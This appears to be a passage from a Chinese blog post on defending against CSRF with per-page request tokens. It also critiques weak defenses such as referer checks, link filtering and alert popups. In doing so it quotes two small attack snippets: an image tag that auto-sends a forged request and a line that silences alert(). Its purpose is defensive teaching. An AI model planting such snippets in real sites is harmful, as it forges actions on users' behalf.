接下来我们就可以用比较简单也比较有效的方法来防御 CSRF，这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：
虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、淘宝的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 <img src="./create_post.php" /> 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个方法看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。
总体来说，目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“无耻”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌方法，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的方法，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。